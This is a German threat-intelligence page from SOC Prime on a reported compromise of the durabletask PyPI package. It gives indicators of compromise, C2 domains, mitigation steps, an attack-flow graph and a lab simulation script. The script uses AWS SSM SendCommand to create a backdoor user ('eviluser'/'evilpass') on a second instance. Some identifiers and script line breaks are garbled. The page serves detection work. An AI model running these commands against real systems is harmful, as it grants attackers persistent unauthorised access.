SOC Prime Bias: Kritisch

22 May 2026 12:36 UTC

durabletask: TeamPCPs neuester PyPI-Supply-Chain-Kompromiss

Author Photo
SOC Prime Team linkedin icon Folgen
durabletask: TeamPCPs neuester PyPI-Supply-Chain-Kompromiss
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein Angriff auf die Lieferkette zielte auf das Microsoft durabletask Python-Paket auf PyPI ab und führte zur Veröffentlichung bösartiger Versionen 1.4.1, 1.4.2, und 1.4.3. Der Angreifer nutzte Berichten zufolge ein kompromittiertes GitHub-Konto, um ein PyPI-Token zu erhalten und gefährliche Wheel-Dateien hochzuladen. Die bösartige Nutzlast wurde über Seil.pyz Archive geliefert, die darauf ausgelegt waren, Cloud-Anmeldeinformationen zu stehlen und sich auf zusätzliche Systeme auszubreiten. Die Erkennungsbemühungen sollten sich auf bestimmte temporäre Dateien, verdächtige Prozessaktivitäten und den Datenverkehr zu den identifizierten Command-and-Control-Domänen konzentrieren.

Untersuchung

Wiz verknüpfte das kompromittierte GitHub-Konto mit der früheren @antv Kampagne. Ihre Analyse ergab, dass der Angreifer Commit-Nachrichten wiederverwendet und auf durchgesickerte GitHub-Geheimnisse zugegriffen hatte, die das PyPI-Veröffentlichungstoken enthielten. Die bösartigen Wheel-Dateien enthielten eine transformers.pyz Komponente, die Seil.pyz Nutzlasten in /tmp abgelegt und die Command-and-Control-Kommunikation mit check.git-service.com and t.m-kosche.com.

Mitigation

Organisationen sollten möglicherweise exponierte Cloud- und Passwortmanager-Anmeldeinformationen rotieren, die identifizierten Command-and-Control-Domänen und URLs blockieren und nach Infektionsindikatoren wie ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8ssuchen. Alle temporären Dateien managed.pyz or rope-*.pyz sollten entfernt und verwandte Python-Prozesse beendet werden. GitHub Actions und PyPI-Veröffentlichungs-Workflows sollten ebenfalls verstärkt werden, um das Risiko einer ähnlichen Kompromittierung zu verringern.

Antwort

Sicherheitsteams sollten jegliche Verwendung von durabletask Versionen 1.4.1 durchsuchen 1.4.3, nach /tmp/managed.pyz and /tmp/rope-*.pyzsuchen und python3 Prozesse überwachen, die diese Dateien ausführen. Ausgehender DNS- und HTTP-Datenverkehr zu check.git-service.com and t.m-kosche.com sollte blockiert werden, während CloudTrail- und Kubernetes-Audit-Logs auf verdächtige SSM- oder kubectl exec Aktivitäten überprüft werden sollten. Betroffene Anmeldeinformationen sollten sofort rotiert und Protokolle des Passwortmanagers auf Anzeichen von Brute-Force- oder unbefugtem Zugriff überprüft werden.

„graph TB %% Klassen Definitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Knoten initial_node[„Start: Angreifer erhält gültige GitHub-Anmeldeinformationen“] class initial_node action action_initial_access[„AktionT1078 Gültige Konten: Kompromittiertes GitHub-Konto gewährt Repository-Zugriff“] class action_initial_access action tool_gitHub[„ToolName: GitHub
Rolle: Quellcode-Hosting-Plattform“] class tool_gitHub tool action_cred_exploit[„AktionT1212 Ausbeutung für Anmeldedatenzugang: GitHub-Geheimnisse abgeschöpft, um PyPI-Token zu erhalten“] class action_cred_exploit action file_pypi_token[„DateiName: PyPI-Token“] class file_pypi_token file action_cred_password_stores[„AktionT1555.005 Passwortmanager & T1555.006 Cloud Secrets Management Stores: Gesammelte Berechtigungen für Cloud-Plattformen und Passwortmanager“] class action_cred_password_stores action credential_aws[„Anmeldeinformation: AWS-Zugriffsschlüssel und SSM-Token“] class credential_aws credential credential_azure[„Anmeldeinformation: Azure-Dienst-Principal“] class credential_azure credential credential_gcp[„Anmeldeinformation: GCP-Dienstkonto“] class credential_gcp credential credential_k8s[„Anmeldeinformation: Kubernetes-Dienstkontotoken“] class credential_k8s credential credential_vault[„Anmeldeinformation: HashiCorp Vault-Token“] class credential_vault credential action_supply_chain[„AktionT1195.002 Kompromittierung der Software-Lieferkette: PyPI-Token verwendet, um bösartige durabletask 1.4.1u20111.4.3-Pakete zu veröffentlichen“] class action_supply_chain action tool_pypi[„ToolName: PyPI-Repository“] class tool_pypi tool malware_durabletask[„MalwareName: durabletask-Paket (bösartig)“] class malware_durabletask malware action_execution[„AktionT1204.002 Benutzer Ausführung: Bösartige Datei: Opfer installieren kompromittiertes Paket, das den Nutzlast-Download verursacht“] class action_execution action file_managed[„DateiPfad: /tmp/managed.pyz“] class file_managed file file_rope[„DateiPfad: /tmp/rope-*.pyz“] class file_rope file action_defense_evasion[„AktionT1127 Vertrauenswürdige Entwickler-Dienstprogramme Proxy-Ausführung: Bösartiger Code über Python-Import-Hooks ausgeführt“] class action_defense_evasion action action_persistence[„AktionT1176 Software-Erweiterungen: Injektionspunkte in __init__.py und anderen Modulen“] class action_persistence action action_credential_dumping[„AktionT1003 OS-Anmeldedaten-Ausschütten: AWS-SSM-Tokens, Kubernetes-Tokens und Shell-Verlauf extrahiert“] class action_credential_dumping action action_lateral_movement[„AktionT1570 Seitlicher Werktransfer: Auf zusätzliche Hosts über AWS SSM und Kubernetes exec propagiert“] class action_lateral_movement action tool_aws_ssm[„ToolName: AWS SSM“] class tool_aws_ssm tool tool_k8s_exec[„ToolName: Kubernetes exec“] class tool_k8s_exec tool op_and((„UND“)) class op_and operator action_c2[„AktionT1219 Fernzugriffstools & T1071.001 Web-Protokolle: Kommuniziert mit C2-Domänen mit /v1/models-Endpunkt“] class action_c2 action c2_domain1[„C2-Domäne: check.git-service.com“] class c2_domain1 c2 c2_domain2[„C2-Domäne: t.mu2011kosche.com“] class c2_domain2 c2 action_exfiltration[„AktionT1048 Exfiltration über alternatives Protokoll: Daten an /api/public/version-Endpunkt gesendet“] class action_exfiltration action exfil_endpoint[„Endpunkt: /api/public/version“] class exfil_endpoint c2 %% Verbindungen initial_node –>|führt_zu| action_initial_access action_initial_access –>|ermöglicht| action_cred_exploit action_cred_exploit –>|erfasst| file_pypi_token file_pypi_token –>|verwendet_von| action_supply_chain action_supply_chain –>|veröffentlicht| malware_durabletask malware_durabletask –>|installiert_von| action_execution action_execution –>|lädt_herunter| file_managed action_execution –>|lädt_herunter| file_rope file_managed –>|ausgeführt_via| action_defense_evasion file_rope –>|ausgeführt_via| action_defense_evasion action_defense_evasion –>|etabliert| action_persistence action_persistence –>|ermöglicht| action_credential_dumping action_credential_dumping –>|sammelt| credential_aws action_credential_dumping –>|sammelt| credential_azure action_credential_dumping –>|sammelt| credential_gcp action_credential_dumping –>|sammelt| credential_k8s action_credential_dumping –>|sammelt| credential_vault credential_aws –>|verwendet_für| action_lateral_movement credential_k8s –>|verwendet_für| action_lateral_movement action_lateral_movement –>|nutzt| tool_aws_ssm action_lateral_movement –>|nutzt| tool_k8s_exec action_lateral_movement –>|verbreitet_sich_zu| op_and op_and –>|verbindet_sich_mit| action_c2 action_c2 –>|kontaktiert| c2_domain1 action_c2 –>|kontaktiert| c2_domain2 c2_domain1 –>|erhält_daten_via| action_exfiltration c2_domain2 –>|erhält_daten_via| action_exfiltration action_exfiltration –>|sendet_zu| exfil_endpoint „

Angriffsfluss

Simulation Ausführung

Voraussetzung: Der Telemetrie- & Basislinien-Vorabcheck muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffsnarrativ & Befehle:
    Ein Angreifer hat Anmeldeinformationen auf einer kompromittierten EC2-Instanz (Instanz A). Mithilfe dieser Anmeldeinformationen nutzt der Angreifer AWS Systems Manager, um in eine zweite Instanz einzudringen (Instanz B) ohne Netzwerkports zu öffnen. Die Schritte sind:

    1. Aufzählung erreichbarer Instanzen via SSM:DescribeInstanceInformation um Ziele zu lokalisieren.
    2. Einen bösartigen Befehl ausgeben durchsuchen SSM:SendCommand (z.B. einen neuen privilegierten Benutzer erstellen) auf der Zielinstanz.
    3. Ausführung validieren indem der Befehlsausgang abgerufen wird.

    Der Angreifer verwendet die AWS CLI, die direkt CloudTrail-Ereignisse für beide API-Aufrufe generiert und die Bedingungen der Regel erfüllt.

  • Regressionstest-Skript: Das folgende Skript reproduziert den Angriff in einem kontrollierten Labor. Es erwartet, dass die AWS CLI mit Anmeldeinformationen konfiguriert ist, die ssm:SendCommand and ssm:DescribeInstanceInformation Berechtigungen haben.

    #!/usr/bin/env bash
    set -euo pipefail
    
    # -------------------------------------------------
    # Variablen – für Ihre Lab-Umgebung anpassen
    # -------------------------------------------------
    REGION="us-east-1"
    COMPROMISED_INSTANCE="i-0abcdef1234567890"   # Instanz A (Angreifer-Fußstütze)
    TARGET_INSTANCE="i-0fedcba9876543210"       # Instanz B (laterales Ziel)
    
    # 1️⃣ Aufzählung der SSM-verwalteten Instanzen (löst DescribeInstanceInformation aus)
    echo "[*] Aufzählung der SSM-verwalteten Instanzen..."
    aws ssm describe-instance-information 
        --region "$REGION" 
        --output json > /tmp/ssm_instances.json
    
    # 2️⃣ Ein bösartiger Befehl an das Ziel senden (löst SendCommand aus)
    echo "[*] Senden einer bösartigen Nutzlast an $TARGET_INSTANCE ..."
    MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser"
    aws ssm send-command 
        --instance-ids "$TARGET_INSTANCE" 
        --document-name "AWS-RunShellScript" 
        --comment "Bösartigen Benutzer beibehalten" 
        --parameters commands=["$MALICIOUS_CMD"] 
        --region "$REGION" 
        --output json > /tmp/ssm_sendcommand.json
    
    # 3️⃣ Befehl ID abrufen und auf Abschluss warten (optional)
    CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json)
    echo "[*] Befehls ID: $CMD_ID – Warte auf Ausführung..."
    aws ssm list-command-invocations 
        --command-id "$CMD_ID" 
        --details 
        --region "$REGION" 
        --output json
    
    echo "[+] Simulation abgeschlossen. CloudTrail sollte nun sowohl SSM:DescribeInstanceInformation als auch SSM:SendCommand Ereignisse enthalten."
  • Bereinigungsbefehle: Den bösartigen Benutzer entfernen und jegliche verbleibende Befehlsverlauf löschen.

    #!/usr/bin/env bash
    set -euo pipefail
    
    REGION="us-east-1"
    TARGET_INSTANCE="i-0fedcba9876543210"
    
    echo "[*] Bereinigung bösartiger Artefakte auf $TARGET_INSTANCE ..."
    CLEANUP_CMD="userdel -r eviluser || true"
    aws ssm send-command 
        --instance-ids "$TARGET_INSTANCE" 
        --document-name "AWS-RunShellScript" 
        --comment "Bereinigung nach dem Test" 
        --parameters commands=["$CLEANUP_CMD"] 
        --region "$REGION"